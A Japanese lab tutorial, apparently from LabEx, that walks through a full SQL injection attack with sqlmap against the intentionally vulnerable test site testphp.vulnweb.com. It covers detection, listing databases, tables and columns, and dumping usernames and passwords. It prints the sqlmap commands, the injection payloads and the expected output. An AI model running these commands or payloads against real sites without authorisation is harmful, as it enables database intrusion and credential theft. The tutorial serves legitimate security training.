はじめに
この実験では、Kali Linux と強力なツールである sqlmap を使用して、SQL インジェクションの脆弱性を特定し、悪用する方法を学びます。一連のガイド付きステップを通じて、脆弱な Web アプリケーションの検出、データベース構造の列挙、および機密データの抽出を行います。すべての活動は、Kali Linux コンテナを使用した安全な LabEx VM 環境内で実施されます。この実験は初心者向けに設計されており、自動化された Web アプリケーションセキュリティテストの実践的な経験を提供します。ターミナルを開くと、自動的に Kali Linux コンテナのシェルに接続され、すぐに開始できる状態になります。
環境のセットアップと sqlmap のインストール
実験環境は、ターミナルを開くと自動的に Kali Linux コンテナのシェル内に配置されるよう事前設定されています。最初のタスクは、パッケージリストを更新し、この実験の主要ツールである sqlmap をインストールして環境を整えることです。
sqlmap は、SQL インジェクションの欠陥の検出と悪用、およびデータベースサーバーの乗っ取りプロセスを自動化するオープンソースのペネトレーションテスト(侵入テスト)ツールです。
まず、パッケージリポジトリのインデックスを更新します。これにより、最新バージョンのソフトウェアを取得できるようになります。
apt update
次に、以下のコマンドを使用して sqlmap をインストールします。-y フラグは、インストール時の確認に対して自動的に「はい」と回答するものです。
apt install -y sqlmap
このプロセスには数分かかる場合があります。インストールが完了したら、バージョンを確認して sqlmap が正しくインストールされたことを検証します。
sqlmap --version
インストールされた sqlmap のバージョンが表示されれば、ツールの準備は完了です。
期待される出力(バージョン番号は異なる場合があります):
1.x.x#stable
sqlmap のインストールと検証が完了しました。これで、ターゲットとなる Web アプリケーションに対して SQL インジェクションの脆弱性テストを開始する準備が整いました。
SQL インジェクション脆弱性の検出
sqlmap がインストールされたので、Web アプリケーションの SQL インジェクション脆弱性のテストを開始できます。この実験では、セキュリティテスト用に設計された、意図的に脆弱性を持たせた公開ウェブサイトを使用します。SQL インジェクション攻撃の最初のステップは、脆弱なパラメータを特定することです。
今回のターゲット URL は http://testphp.vulnweb.com/listproducts.php?cat=1 です。パラメータ cat=1 は、インジェクションの潜在的な侵入口となります。sqlmap を使用して、このパラメータを自動的にテストします。
以下のコマンドを実行してテストを開始します。-u フラグはターゲット URL を指定します。--batch フラグを使用すると、対話的な質問に対して sqlmap がデフォルトの回答で自動進行するため、プロセスが非対話的になり、より迅速に実行できます。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap は URL に対して一連のテストを実行します。応答を分析して、cat パラメータがインジェクション可能かどうかを判断します。さまざまな SQL インジェクション手法を試行するため、このプロセスには 1 〜 2 分かかることがあります。
スキャンが完了したら、出力を確認してください。脆弱性を確認するセクションが表示されるはずです。
期待される出力(一部省略):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
出力結果から、cat パラメータが複数のタイプの SQL インジェクション攻撃に対して脆弱であることが確認できます。
- Boolean-based blind(真偽値ベースのブラインド): 真偽のロジックを使用してデータを抽出します。
- Error-based(エラーベース): データベースのエラーメッセージを悪用して情報を明らかにします。
- Time-based blind(時間ベースのブラインド): 応答の遅延を利用してインジェクションを確認します。
- UNION query(UNION クエリ): 複数の SELECT 文の結果を結合します。
また、スキャンによって、バックエンドのデータベースが Linux Ubuntu 上で動作する MySQL バージョン 5.6 以上であり、Nginx と PHP が使用されていることも特定されました。この詳細なフィンガープリント情報は、次の悪用ステップの指針となります。
データベースの列挙
脆弱性が確認されたら、次の論理的なステップは、サーバー上にどのようなデータベースが存在するかを発見することです。このプロセスは「データベースの列挙(Enumeration)」と呼ばれます。サーバーのデータ構造を把握するためには、データベース名を知ることが不可欠です。
sqlmap で --dbs フラグを使用して、利用可能なすべてのデータベースをリストアップします。このコマンドは前のステップのセッションデータを再利用するため、sqlmap は脆弱性を再検証する必要がありません。
以下のコマンドを実行します。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
sqlmap は脆弱性を悪用してデータベーススキーマを照会し、すべてのデータベース名のリストを取得します。保存されたセッションから再開されるため、テストが効率的に行われることに注目してください。
期待される出力:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
出力には、acuart と information_schema という 2 つのデータベースが表示されます。
information_schemaは、他のすべてのデータベースに関するメタデータを保存する MySQL の標準データベースです。有用ですが、通常、データ窃取の主なターゲットにはなりません。acuartはカスタムアプリケーションのデータベースであると思われ、ユーザー情報やアプリケーションデータなど、私たちが探している興味深いデータが含まれている可能性が高いです。
アプリケーションのデータベース名がわかったので、次にその内容を調査します。
テーブルとカラムの列挙
acuart データベースを特定した後の次の目標は、そこに含まれるテーブルを確認することです。テーブルは実際のデータが保存されている場所です。たとえば、users や customers という名前のテーブルは、価値の高いターゲットになります。
acuart データベース内のテーブルをリストするには、-D フラグでデータベース名を指定し、--tables フラグでテーブルリストを要求します。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch
期待される出力:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+-----------+
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
出力にはいくつかのテーブルが表示されていますが、特に users テーブルが興味深いです。users テーブルのカラム(列)をリストして、さらに調査しましょう。これを行うには、-T フラグでテーブル名を指定し、--columns フラグを追加します。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch
期待される出力:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| name | varchar(100) |
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+---------+--------------+
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
uname(ユーザー名)と pass(パスワード)のカラムは、データ抽出の主要なターゲットです。他にも email、cc(クレジットカード)、phone など、顧客情報に関する興味深いカラムがあります。これで、これらの機密カラムの内容をダンプするために必要な情報がすべて揃いました。
テーブルからのデータダンプ
これが攻撃の最終ステップであり、ターゲットテーブルからデータを抽出します。これまでのステップで、データベース(acuart)、テーブル(users)、および関心のあるカラム(uname, pass)が判明しています。
データをダンプするには、--dump フラグを使用します。-C フラグを使用してダンプするカラムを指定することで、プロセスをより迅速かつ集中的に行うことができます。
以下のコマンドを実行して、users テーブルからユーザー名とパスワードをダンプします。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch
sqlmap は指定されたカラムからデータを抽出し、ターミナルに表示します。また、後で分析できるようにデータを CSV ファイルに保存します。
期待される出力:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test | test |
+-------+------+
[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
出力には、ユーザー名 test、パスワード test という 1 つのユーザーエントリが表示されています。このデータ抽出の成功は、SQL インジェクション脆弱性がもたらす重大な影響を物語っています。
- データ漏洩: 機密性の高いユーザー資格情報が公開される
- 不正アクセス: これらの資格情報を使用してアプリケーションにログインされる可能性がある
- プライバシー侵害: 個人情報が侵害される
- セキュリティリスク: 脆弱性が悪用され、他のデータへのアクセスや権限昇格を招く可能性がある
これで、検出 → 列挙 → 悪用 → データ抽出という、典型的な SQL インジェクション攻撃のシーケンスが完了しました。
出力に記載されている CSV ファイルを読み取ることで、保存されたデータを確認することもできます。
cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
期待される出力:
uname,pass
test,test
データが正常に抽出され、保存されたことが確認できました。
まとめ
この実験では、Kali Linux 環境で sqlmap を使用し、エンドツーエンドの SQL インジェクション攻撃を正常に実行しました。まず sqlmap をインストールし、それを使用して稼働中の Web アプリケーションの脆弱性を自動的に検出しました。体系的なアプローチに従って、サーバーのデータベースを列挙し、ターゲットデータベース内のテーブルをリストし、機密カラムを特定し、最終的にユーザー資格情報をダンプしました。この実践的な経験を通じて、最も一般的で重大な Web セキュリティ上の欠陥の 1 つを発見し、悪用するために、自動化ツールがどのように使用されるかを実地で理解することができました。


